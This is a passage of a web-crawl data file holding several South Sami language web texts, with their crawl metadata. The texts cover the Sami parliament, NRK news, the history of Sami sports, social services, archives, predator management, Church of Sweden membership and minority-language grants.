digkiedidh.17\n1900 jaepiej åvtelistie idtjin saemieh seamma reaktah utnieh goh daelie. Nöörjesne voejhkelin saemieh daarojne darjodh juktie ussjedin meehti barre akte gïele, akte almetjetjïerte jïh akte kultuvre Nöörjesne årrodh, dïhte daaroen gïele jïh kultuvre.19\nDaelie gellie saemien maanah åadtjoeh saemien skuvlesne lïeredh jïh radiosne maahta saemien musihkem goltelidh. Guvvesne Gånka Harald jïh krovnprinse Håkon Magnus Saemiedigkiem Nöörjesne rihpestieh.21\nSaemiedigkieh gååvnesieh dovne Nöörjesne, Sveerjesne, Såevmesne jïh Russlantesne. Saemiedigkieh berkieh juktie saemieh edtjieh åadtjodh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahke-jieledem gorredidh jïh evtiedidh.23\nMåjhtah gusnie Saepmie lea?25\nFoto\/ Myndir\/ Asseq\/ Valokuva\/Guvvieh:\nS1: Yevgeny Pashnin - commons.wikimedia.org + Anita Dunfjeld Aagård\nS1+24: Annamari Molnar - flickr.com\nS4: Bff - commons.wikimedia.org\nS6: Julia Velkova - commons.wikimedia.org\nS8: Karin Beate Nøsterud - commons.wikimedia.org\nS12+20: Sámediggi Sametinget - flickr.com\nS10: Ningyou - commons.wikimedia.org\nS14: Jeltz - commons.wikimedia.org\nS16: Schrøderarkivet\/Sverresborg - commons.wikimedia.org\nS18: Nasjonalbiblioteket - commons.wikimedia.org\nS22: Illustratedjc - commons.wikimedia.org","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/atlantbib.org\/da\/node\/744","date":"2018-02-25T05:43:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891816138.91\/warc\/CC-MAIN-20180225051024-20180225071024-00447.warc.gz","language":"sma","language_score":0.9998119473,"language_script":"Latn","minhash_cluster_size":172,"top_langs":"{\"sma_Latn_score\": 0.9998119473457336}","num_words":309,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Norge Rundt lea dihte programme guht jeenemes almetjh Nøørjese pråvhkoeh vuartasjidh. Jih daelie voestesh aejkien dihte programme åarjelsaemien programmeåvtehke åådtje.\nTjaktjen raajeste Vaino Rensberge (25) Plassjeste båateme galka saadtegkem stuvredh fierhten bearjadahke NRK1 bøøremes saadtegkeaajkesne.\n- Nov gujht hijven dååmtoe goh leam voestesh åarjelsaemie guhte åadtjoe mov gielem veedtedh gaajhkasidie «deej tjuetie gåetieh sissnie» dan bøøremes saadtegkeaajkesne, Rensberge soptseste.\nNRK Sapmi lea Rensbergen biejjieladtje barkoesijje, juktie daelie galka Bergenisnie årrodh jih desnie golme ask barkedh. Nielje ohtsedæjjah lin dan barkoese. Vaino aavoesne satne dihte gie edtja åadtjodh aelkedh.\n- Les også: – Seamma goerkelimmie lea daerpies\n40 jaepien båeries programme\nNorge rundt lea akte Nøørjen tv- programme mij fierhten bearjadahken seedtesåvva NRK1esne. Dihte voestes programme 1976 seedtesovvi.\nDah sjiere sijjenkontovrh nijre jaarkan Nøørjesne programmen aamhtsh faelieh, jih destie nommem åadtjemme «Distriktenes magasin» Programmen åejviekontovre Bergenisnie, jih gohtjesåvva «Aldri en fredag uten».\nGoh Rensberg rijies dejnie «Norge Rundt» dellie båstide Plassjese jåhta, jijtsasse gåatan.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/_-galka-sjuejmiehtidh-almetjh-aarjelsaemiengieline-1.13581689","date":"2018-02-22T01:18:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813832.23\/warc\/CC-MAIN-20180222002257-20180222022257-00647.warc.gz","language":"sma","language_score":0.9998728037,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998728036880493}","num_words":147,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiej saavremesiebrie, SIF, barka guktie saemien saavremem eevtjedh jïh jåhta goh bijjelenorganisasjovne siebride jïh sïeltide.\nSiebrie dïedtem åtna dejtie saemien saavremegaahtjemidie. SIF´n ståvroe dïhte mij nännoste gusnie dah gaahtjemh edtjieh årrodh jïh vuemsie lea saemien gïjre- daelvie- jïh innebandygaahtjemh edtjieh fïerhten jaepien öörnesovvedh.\nSIF dejtie öörnijidie dåarjede vierhtiejgujmie jïh raeriejgujmie jïh vaaksjobe aaj fïere gaahtjeme dejtie nännoestamme njoelkedasside dåerede. Jis aajnealmetjh edtjieh maehtedh saemien saavremegaahtjemisnie meatan årrodh tjuara lïhtseginie årrodh naakene SIF´n nuelieåårganisasjovnine.\nSaemiej saavremesiebrie eeremes barka noeride jïh jaepien 1973 raajeste SIF fïerhten jaepien göökte noerestipendijidie vadta noeride gïeh gukt´akth joekoenlaakan gïehtelamme saavremisnie. Siebrie lea aaj gellie jaepieh noeretjåanghkoem öörneme jïh pråvhka noerh sveerjen bieleste Arctic Winter games´se sedtedh. Arctic Winter games lea gaskenasjonelle saavremegaahtjeme aalkoealmetjidie jïh jeatja arktiske almetjidie man ulmiedåehkie lea noerh 12-20 jaepiej gaskoeh.\nSaemien saavremegaahtjemi suerkie leah: Hajkeme, Åadtjestidh, Tjoejkeme, Juelkietjengkere, Innebandy jïh Råantjoegaahtjemh.\nMijjen saavremevisjovne:\n\" Mijjen saavremejieleme healsoem, aavoem jïh buerie domtemem skaepede saemien almetji luvnie. Mijjieh eevtjebe jïh aavoedibie mijjen saavremekulturelle aerpien åvteste. Saemien saavreme edtja gellienvoeten saavremeöörnemh skaepiedidh mah nuepiem ektievoetese vedtieh saemiej gaskemsh ovmessie dajvijste. Saepmesne edtja maehtedh abpe jaepiem saavredh mieriej jïh ekonomiske restriksjovni namhta. Mijjen saemien saavremåårganisasjovne edtja frijje jïh jïjtshraarehke saavremejieleme vedtedh jïh ideelle ïedtjem byjresi daltesistie utnedh.\"\nSIF:n HISTOVRIJE\nDah fïerhten jaepien öörnesovveme saemien saavremegaahtjemh leah maadtoe dennie saemien saavremisnie jïh aaj vihkeles tjåanghkoesijjieh Saepmesne. Dah leah 1940-taalen raajeste öörnesovveme jïh nuepiem saemide vadteme sinsitnide ovmessie saavremesuerkine gaahtjedh.\nNoeretjåanghkosne Jukkasjärvi´sne 17:e biejjien mïetsken asken jaepien 1947 nännoestimmiem veelti Johkemehkien saemiesiebrie edtji båetijen daelvien saavremegaahtjemh öörnedh mij ajve saemide.\nDaelvie 1948 voestes saemien daelviegaahtjemem öörnesovvi Johkemehkesne. Jeenjemes dejstie gïeh meatan dam öörnedh jïh meatan gaahtjedh lin learohkh jallh lohkehtäjja Saemien ööhpehtimmiejarngesne. Skuvlen rektovre Lennart Wallmark stoerre ïedtjem utni saavremasse jïh dannasinie aktem dejstie gie tjarki berki dej voestes gaahtjemigujmie. Jaepien 1949 saavremegaahtjemh vihth Johkemehkesne öörnesovvi. Vuemsie lij dah fïerhten jaepien öörnesovveme saavremegaahtjemigujmie edtjin jeenebh saemieh eadtjalgehtedh jïh ahte saemien siebrieh gaajhkene lehkesne Saepmien sveerjen bielesne edtjin dam öörnesovvedh. Faepmie saemiesiebrie daelviegaahtjemidie öörnesovvi Vualtjarisnie jaepien 1950 jïh daelie dah saavremegaahtjemh aaj eelkin saemien lustestimmine sjïdtedh. Jaepien 1951 saemien saavremegaahtjemidie Luleå´sne öörnesovvin, seamma aejkesne goh sveerjen tjoejkemegaahtjemh. Abpe dam öörnemem lij stealladamme byjresi öörnijistie saemiej namhta jïh gellie mah båasarin dan gaavhtan. Lennart Wallmark gie lij rektovre Saemien ööhpehtimmiejarngesne, sov mïelen mietie jeehti dïhte öörneme saemien kultuvrem nåakelaakan nuhtjesovvi goh exotiske biehkie dennie stuerebe öörnemisnie. Dan männgan nännoestimmiem veelti saemien siebrieh dah mah edtjin dam öörnemem stealladidh.\n1950-taalesne tjïelkestin guktie dah siebrie edtjin saavremegaahtjemidie tjirrehtidh jïh öörnedh jïh dah gaahtjemh ovmessie sijjine Saepmesne öörnesovvin.\nJaepien 1948 dle Samernas idrottsförbund reakasovvi man åejvieulmie lij saemien saavremegaahtjemh fïerhten jaepien öörnedh.\nJaepien 1971 jis nännoesti siebrie edtji nommem Saemiej saavremesiebriem´m åadtjodh juktie maehtedh jienebh suerkieh bïejedh dan nualan. Dah voestes giesiegaahtjemh öörnesåvva jaepien 1977. Saemiej saavremesiebrie dïhte mij dam Åanghkerenjeeruvisnie öörni byjrese saemiesiebrine ektine. Desnie individuelle åadtjestimmie jïh aaj laagestafedte hajkeminie jïh åadtjestimmine. Dej båetijen jaepiej giesiegaahtjemi öörneme stuerebe sjïdti jïh dah suerkieh lin individuelle åadtjestimmie, hajkeme jïh stafedth åadtjestimmine jïh hajkeminie.\n1970-taalen minngiegietjesne åssjalommes jijhti nordiske saemien saavremegaahtjemh öörnedh juktie saemieh Nöörjeste lin guhkiem meatan orreme gaahtjemi ålkolen. Naakenh jaepiej dan männgan Saemien saavremesiebrien jaepietjåanghkoe, mij lij Saemie SM´sne jaepien 1979, nännoesti interime ståvroe haestemem vedtedh goerehtidh guktie ellies saemien saavremesiebrie meehti dorjesovvedh. Jaepien dan männgan Sámiid Vallastallan lihttu\/ Samernas nordiska idrottsförbund (SVL) reakasovvi man ulmie lea nordiske darjome ektievoetesne.","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/samiskidrott.nu\/aarjel\/","date":"2018-02-17T23:31:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891808539.63\/warc\/CC-MAIN-20180217224905-20180218004905-00587.warc.gz","language":"sma","language_score":0.999999404,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999994039535522}","num_words":537,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nIh daarpesjh såjhtoen jïh såjhtoehïejmen åvteste maeksedh. Mohte maahtah tjoeredh beapmoej jïh årromij åvteste maeksedh såjhtoehïejmesne jallh fuelhkiehïejmesne. Dïhte maaksa seamma jeenje biejjegen goh jis skiemtjegåetesne sujhtedh. Datne maahtah dååpmestovlese laejhtedh jis dåarjoem ohtsedih jïh idtji dam åadtjoeh. Sosiaaletjeanadimmie muvhten aejkien yöjtedeåtnoejh tjibredassijgujmie gïetede. Dejtie almetjidie gieh eah jijtje viehkiem sïjhth mohte gieh maehtieh yöjtedeåtnoste skiemtjejieh jallh jaemieh. Sosiaaletjeanadimmie tjuara voestes tjibredassijsåjhtoem lïenereaktese ohtsede.\nSidan har granskats 2009-09-11\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/yojtedeatnoe.4.2aeb902411d30c9e460800061528.html","date":"2018-02-23T14:49:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814787.54\/warc\/CC-MAIN-20180223134825-20180223154825-00381.warc.gz","language":"sma","language_score":0.9996389151,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9996389150619507}","num_words":107,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båatsoe saemie Ingvald Peder Jåma, Fovsen Njaarkeste sealadamme, dihte reakasovvi 4.5 1935. Dihte lij eadtjohks bovtsekaarre mij båatsoesne jieleme. Noereh baeleste viehkedi jih krievviem Kruanalaantesne sjïdtedehtedh.\nDihte daam båeries sjædtoevuekiem nuhtji jih jeatjabidie bïhkedi guktie beapmoejne jih bådtjine nuhtjedh. Dihte ïedtjeles sïjhti almetjidie sjædtoej jih eatnemen bijre øøhpehtidh, Nøørjesne jih aaj Sveerjese. Nøørjen båatsoesaemiej Rijhkesaervien (NBR) åvtehke Ellinor Jåma håjnesne.\n– Dihte jijnjem deejri jih maehteles båatsoesne, stoerre maahtoem eatnemen bijre utni. Manne minngemes jaepieh jijnjem Ingvaldene soptsestallim. Dihte munnjan don jih daan bijre bïhkedi jih raeriesti. Stoerre sårkoe mijjese jih munnjan, gosse Ingvald Jåma daelie sealadamme, Ellinor Jåma jeahta.\nKultuvre mojhtesh vïhtesjidh\nIngvald Jåma tuhtji luste jih kultuvre mojtesh ohtsedidh jih vïhtesjidh. Tuhtji vihkeles jih saemien aerpie maahtoejde jih vuekijde nænnoestidh. Saemien Sijten, konservatore Lisa Dunfjeld– Aagård, Ingvald Jåman barkoen bijre girmie.\n– Mijjieh jïjnjh viehkie Ingvaldeste åådtjeme. Dihte vuesiehti gusnie saemien kultuvre mojhtesh, jih soptesti gie desnie årrome jih guktie dajvem nuhtjeme, dihte bievnedi. Sijhti eensi laakan kultuvre mojhteside tsïegline vïhtesjidh. Mijjieh gijhteles daan barkoen åvteste, Dunfjeld Aagårde jeahta.\nGånkan dïeneste medaljem solpeste\nIngvald Jåma åadtjoeji jaepien 2006 Verran tjïelten kultuvreåasam jih gijren 2012 åadtjoeji, Gånkan dieneste medaljem solpeste, båatsoe barkoe jih saemien kultuvre maahtoen åvteste.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/baatsoe-saemie-ingvald-jama-sealadamme-1.12737382","date":"2018-02-22T05:22:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814002.69\/warc\/CC-MAIN-20180222041853-20180222061853-00595.warc.gz","language":"sma","language_score":0.9998540878,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998540878295898}","num_words":192,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Oskar Jåma 1914 – 1998\nDaah baantedimmieh gusnie Oskar Jåma soptseste leah akte bielie tjoejematerijelleste saemien dajvijste mah sïjse tjöönghkesovvin Noerhtelaanti saemien instituhteste (NSI) 1980-låhkoen aalkoelisnie. Lajla Mattsson Magga baantedimmide darjoeji 1981 jïh dah leah åarjelsaemien.\nMænngan goh Noerhtelaanti saemien instituhte akte bielie sjïdti Sámi allaskuvleste\/ Saemien jïlleskuvle, dïhte sïjse tjöönghkeme tjoejematerijelle Saemien våarhkose sertesovvi. Jaepien 2016 Saemien våarhkoe lea måedtiem daehtie materijelleste daan beajjetje digitaale hammose jeatjahtahteme, gaskem jeatjah daejtie baantedimmide Oskar Jåmeste. DigForsk AS lea digitaliseradimmiem jïh tjoejebueriedimmiem baantedimmijste dorjeme. Lill Westerfjell Kalstad dïedtem åtneme baantedimmide veeljedh mejtie daesnie åehpiedehtebe, jïh dïhte aaj web-teekstide dorjeme.\nBaantedimmiej bïjre\nOskar Jåma soptseste dan baelien bïjre gosse lij meatan båatsosne jïh evtiedimmien bïjre dan boelhken.\nDennie voestes boelhkesne soptseste guktie båatsoe lea jorkesamme don baelien mearan satne akte bielie destie orreme. Åvtesne bovtse lij vihkelesåbpoe almetjasse. Daelie ekonomije vihkelesåbpoe sjïdteme, jïh daelie edtja bovtsigujmie gïehtelidh guktie stööremes dïeneste sjædta. Aerpievuekien daajroe ij leah seamma vihkeles goh aarebi, guktie gellie saemieh demtieh dej daajroe ij leah vihkeles vielie.\nÅejvieladtjh dah mah jiehtieh guktie saemieh edtjieh bovtsigujmie gïehtelidh jïh båatsoem evtiedidh. Saemiej ussjedimsvuekie gaarvene, jïh daan beajjetje maehtehtjh orre vuajnoeh utnieh. Ååska lij aktem skuvlem sïjhteme mij lij mahteme daajroem orre boelvide buektedh guktie edtja bovtsigujmie gïehtelidh saemienlaaketje.\nLæjhkan tuhtjie vihkeles dïeneste båatsosne gååvnese, guktie lea daelie dle sarve stuerebe dïenestem vadta goh bovtseste. Dïhte aaj tjoeperde dejstie darjoemijstie mejtie vuesiehtimmien gaavhtan turistesuerkie sjugnede. Daej darjomi gaavhtan båatsoe ahkedh dajvijste treegkesåvva.\nDaesnie soptseste don voestes aejkien bïjre gosse åadtjoeji aehtjebem dåeriedidh ryöjnesjidh daelvege. Haarhte jåvle, jïh voestes aejkien satne tjuara ålkone jïjjedidh daelvege. Tjåetskemes jïjje, gusnie åådtje damtedh guktie lea gåalodh, men aaj ektievoetem aehtjiebinie jïh dej mubpiej ryöjnesjæjjajgujmie damta.\nAkten mubpien aejkien lea ryöjnesjeminie mïetsken minngiegietjesne. Dah leah bovtsem geadtan tsaakeme, jïh dïhte jïjjege ryöjnesjeminie. Jïjje doekoe åådtje sïejpem vuejnedh ajve lïhkebisnie. Dïhte soptseste guktie gaajhkh ryöjnesjæjjah ektesne berkieh olles sïejpe krïevvem heeselh.\nDïhte aaj soptseste mah juvrh mah lin dej dajvine don baelien, gusnie råate jïh aarhtse lin doh juvrh mejgujmie stööremes dåeriesmoerh utnin. Lissine såemies gierhkieh, men idtjin dah dan stoerre skaarah darjoeh don baelien.\nMijjieh voerkelibie mijjieh ajve tjoejem bueriedamme jïh ibie maam baantedimmine jeatjahtahteme.\nOskar Jåman bïjre\nOskar Jåma Raarvihkeste bööti jïh bovtsigujmie gïehteli Tjåehkeren sïjtesne. Dïhte lij åehpies goh akte ålma stoerre ïedtjine siebriedahkese, mij stoerre leavloem bïeji laavenjostose. Dïhte lij voestes saemien tjirkije Raarvihken tjïelteståvrosne, gusnie iktemierien tjahkasji boelhken 1945 – 1963. Mænngan lij tjïelten mubpie åejvie boelhken 1976 – 1979. Goh båatsoesïjten åvtehke skraejriem veelti akten jïjtse båatsoemoenehtsasse mij edtji båatsoesaemiej ïedtjh jïh daerpiesvoeth gorredidh dejtie nåakevoetide jïh skaaride mah lin sjugniehtovveme dej stoerre tjaetsiefaamoebigkemi gaavhtan Nåamesjevuemesne. Dïhte lij aaj dej gaskem mah skraejriem veeltin siebriem Luvlie Nåamesjen Dajve tseegkedh 1980, mij åejvieulmine åtna kultuvremojhtesh vaarjelidh jïh saemien kultuvrem våajnoes darjodh.\nGaaltijh: Hermanstrand\/Kosmo: Røyrvik, Samene i Østre Namdal, 2009","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.arkivverket.no\/om-oss\/sami-arkiiva\/oskar-jama-1914--1998","date":"2018-02-20T05:30:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812880.33\/warc\/CC-MAIN-20180220050606-20180220070606-00714.warc.gz","language":"sma","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999967813491821}","num_words":451,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juvrh\nDuvrie, sïejpe, råate, gierhkie jïh aarhtse leah juvrh. Akte åejvieulmie lea jielijes veahkah gorredidh dejstie njieljie stoerre juvreaarhtijste jïh aarhtseste. Seamma tïjjen dle akte ulmie aktem eadtjohke jåartaburriem tjåadtjoehtidh juktie gåatomevierhtide nuhtedh sïrvide jïh bovtside miehtjesne. Jis edtja gåabpagidie ulmide jaksedh dle tjuara juvreveahkam reeredh, jïh seamma tïjjen dle tjuara jåartaburriem ånnetji sjïehtesjidh dejnie vihkielommes dajvine juvride\nDaate lea naaken dejstie Fylhkenålman laavenjassijste juvrereeremisnie:\n- vierhtieh joekedidh heerreden råajvrimmide juvreskaaraj vööste, jïh ohtsemh gïetedidh maaksoen bïjre skaaraj åvteste gåetiekreekide mejtie vaarjelamme juvrh dorjeme\n- ohtsemh gïetedidh bivtemen bïjre gierhkeste jïh råateste\n- luhpiem vedtedh skaaravuetjiemasse råateste, gierhkeste, sïejpeste jïh duvreste, akten kvotan sisnjelen maam juvremoenehtse vadteme\n- aarhtsem reeredh, aaj ohtsemh skaaravuetjemen bïjre\n- tjaelijesijjine årrodh dan regijovnale juvremoenehtsasse, mij edtja hoksedh dah juvretjïerth naemhtie reeresuvvieh guktie dïhte rïektes juvreveahka lea dan lïhke regijovnen juvreveahkaulmiem goh gåarede.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.fylkesmannen.no\/sma\/Buskeruden\/Byjrese-jih-klijma\/Juvrh\/","date":"2018-02-25T15:32:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891816647.80\/warc\/CC-MAIN-20180225150214-20180225170214-00507.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":133,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gyhtjelassh lïhtsegevoeten bïjre\nJis joe lååvkeme jeatjah kristeles sïebredahkesne maahtah lïhtsege Svïenske gærhkosne sjïdtedh mænngan gosse hearrine soptsestalleme. Datne gïeh Svïenske gærhkoem laahpeme leah lïhtseginie buerie båeteme bååstede. Jis ih daejrieh mejtie lïhtsege jallh jeatjah gyhtjelassh lïhtsegevoeten bïjre åtnah dellie maahtah govlehtalledh dejnie åålmeginie gusnie årroeh.\nLïhtsegemaaksoe\nSvïenske gærhkoen barkoe Sveerjesne jïh ålkoerijhkesne lïhtsegemaaksojste maaksa, dam aaj gohtje gærhkoemaaksoe. Jïjnjemesh destie dan dov byjreske åålmegasse jåhta. Maaksoe edtja aarke biejjien barkoem maanide noeride jïh båarasåbpojde maeksedh, laavlome-dåehketjidie jïh joptsetjöövkese, skïemtjegåetiegærhkose, fuelhkieraeriestæmman, hearride giejtie iktesth råakh, sijjide gusnie oktegs jïh gåetieluhpehts almetjh maehtieh tjåanghkanidh jïh mejnie gïehtelidh. Gaajhkesh aaj viehkiehtieh voenen gærhkojde jïh kultivrehistovriske vierhtide båetije boelvide vaarjelidh.\nGöökte aath mah nænnoestieh man jïjnjem lïhtsegemaaksojne maeksedh: man jïjnjem dïenesjh jïh mennie åålmegisnie datne. Rijhken gaskemieren gærhkoemaaksoe jaepien 2011 leah 0,99 proseenth dehtie dov dïenesjimmeste mestie tjïeltese skaehtiem maaksah.\nJuvlememaaksoe\nGaajhkesh gieh Sveerjesne tjaalasovveme juvlememaaksoem maeksieh. Rijhken gaskemieren maaksoe jaepien 2011 leah 0,24 proseenth dehtie dov dïenesjimmeste mestie tjïeltese skaehtiem maaksah. Svïenske gærhkoe åajvaladtjine juvlemedïenesjæmman Sveerjesne, namhtah Stuehkien staaresne jïh Tranåsen tjïeltesne. Deklaratjovneleahpesne maahtah lohkedh man stoere dov gærhkoemaaksoe jïh juvlememaaksoe lea.\nSvïenske gærhkoem laehpedh\nJis nænnoesth Svïenske gærhkoem laehpedh dov byjreske åålmegasse dam bievnieh. Gosse gærhkoem laehpedh maahtah åålmegasse leahpan mietie ringkedh, dahkoe mïnnedh jallh tjaeledh. Aaj maahtah jïjtse nammoehtamme prievesne åålmegasse vaejtedh. Jis ih daejrieh mennie åålmegisnie datne dellie maahtah ohtsedidh svaalhtesisnie dagkoe åelkiesbielesne.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.svenskakyrkan.se\/lihtsegevoete","date":"2018-03-24T22:03:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651007.67\/warc\/CC-MAIN-20180324210433-20180324230433-00555.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":220,"character_repetition_ratio":0.076,"word_repetition_ratio":0.009,"special_characters_ratio":0.132,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe naasjovnalen unnebelåhkoegïelide.\nGïele jih almetjemojhtese instituhte staatendåarjoeh joekede mah edtjieh sjïere almetjh böörebe nuepieh sijjen naasjovnalen unnebelåhkoegïelem lïeredh jih utnedh vuesiehtimmie gaavhtan gaajhkh varietehte såevmien, jiddisch, meänkielin, romani chib jih saemiengïele.\nDåarjoeh joekedieh darjmomidie mah lohkeme- jih tjaalememaahtoem unnebelåhkegïelesne nännostidh, vuesiehtimmie gaavhtan pedaagogihken dorjeme daennie gïelesne mij edtja lieredh, gïeleprosjeekte maanide jih sijjen eejhtegidie jallh råajvarimmie juktie aelkieh lohkedh. Lissine dåarjoeh joekede darjomidie mah nännostidh sjiere almetji maahtoeh gelliegïeleldh bïjre, gïele kultuvreguedtijinie jallh giele vijrebe vedtedh boelveste boelvese. Darjomh mah maanide jih noeride fokusereme eeremes evtede.\nÅårganisasjovnh jih tseegkemh(stiftelsh) mah eah staatesne jallh tjïeltesne, jih mejnie eah leah vinste ulmine jih leah Sveerjesne maehtieh dåarjoeh syökedh. Dåarjoeh maehtieh aaj syökedh ektine jeatjine åårganisasjovnine, tseegkeminie (stiftelsine) jallh tjïeltine. Dåarjoedåastjoje buerkiestimmiem vedtieh magkeres resultahtem, sijjieh jakseme.\nSyökemisnie edtja meatan årrodh konkrehten jih vihties buerkiestimmie prosjekten gaavhtan jih aaj vihties maaksemekalkyle. Jis dov naan gyjhtjelassh dåarjoen jallh syökemen bïjre, dle bïeljelh Anna Gezelius.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.sprakochfolkminnen.se\/sprak\/minoritetssprak\/bidrag-till-minoritetsspraken\/aarjelsaemien-giele.html","date":"2018-03-17T04:30:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257644271.19\/warc\/CC-MAIN-20180317035630-20180317055630-00571.warc.gz","language":"sma","language_score":0.9999899864,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999899864196777}","num_words":151,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"På norsk\nArtihkal girjjis Sámi skuvlahistorjá 5. Davvi Girji 2011.\nÅarjel-saemien gïelese jarkoestamme: Ellen Bull Jonassen\nEllen Bull Jonassen Giesielaantesne Gåebrien sïjtesne, 2008.\n|Ellen Bull Jonassen reakasovvi jaepien 1958. Tjidtjebe lij Ella Holm Bull (1929-2006), guhte lij akte dejstie mij lea jeenjemes dorjeme juktie åarjelsaemien gïelem jïh ööhpehtimmiem evtiedidh.\n\n\nMaadthskuvlem veedtsi Brønnøyesne Nordlaantesne, Raavrevijhkesne jïh Snåasesne Noerhte-Trøøndelagesne. Dïhte korrespondasegymnasem Snåasesne vaadtseme jïh Saemiej almetji jïlleskuvlem Johkemehkesne, jïh gåaromefaagem Røørosen jåarhkeskuvlesne lïereme jïh åarjelsaemien lohkeme Noerhte-Trøøndelaagen Jïlleskuvlesne jïh Upmejen universiteetesne.\nEllen Bull Jonassen åarjelsaemien lohkehtæjjine barkeme jïh aaj oktebisnie jarkoestæjjine. Jaepien 2008 raejeste dïhte gïelekonsulentine barkeme Snåasen tjïeltesne.\nAarebi manne skuvlem eelkim dle mov fuelhkie lij dah aajnehke saemieh voenesne, nov amma dah aajnehke mah saemiestin. Mov eejhtegh sinsitnine jïh maanide saemiestin, jïh joekoen tjidtj'-aahka båvvastehti mijjieh edtjimh saemiestidh. Bene mijjieh maanah varki siebriedahkeste mïerhkelgovvimh jïh jeenjemes daaroestimh.\nBarstad skuvlesne dle ajve åabpebe jïh manne mah lin saemieh, bene Raavrevijhke badth akte saemien voene, juktie nov lea rovnege dah idtjin mijjem gïemhpeslaakan desnie dåastoehtin. Ihke saemieskuvle edtji Snåasesne aelkedh jaepien 1968, dle tjidtjebe barkoem åadtjoeji akten jaepien åvtelhbodti juktie skuvleaalkovem soejkesjidh, gaskem jeatjah learoevierhtieh evtiedidh. Dellie barki dejnie mij mænngan gærjine Lohkede saemien sjïdti. Dellie lim voestegh aktem jaepiem Brede skuvlesne. Dellie lim seamma klaassesne dejgujmie mah nynorsk ööhpehtimmiegïeline utnin, bene manne edtjim bokmål tjaeledh juktie manne dam dejnie jeatjah skuvline åtneme. Snåasesne idtjim irhkemem dååjrehth, vaallah jeatjah saemien maanah gænnah.\n|Ella Holm Bull\n\n\nAnnje voestes skuvlebiejjiem måjhtam, mij lij mov voestes biejjie 4. klaassesne. Dellie böötimh Dagsrevyesne jïh plaerine, juktie nov amma guarkajimh mijjieh limh meatan mesnie akt sjïere. Aaj mænngan dam dååjrimh, ihke mijjen skuvlem jïjnjem goerehtin jïh kraanskoejin. Muvhten aejkien dle skuvleklaassh guessine 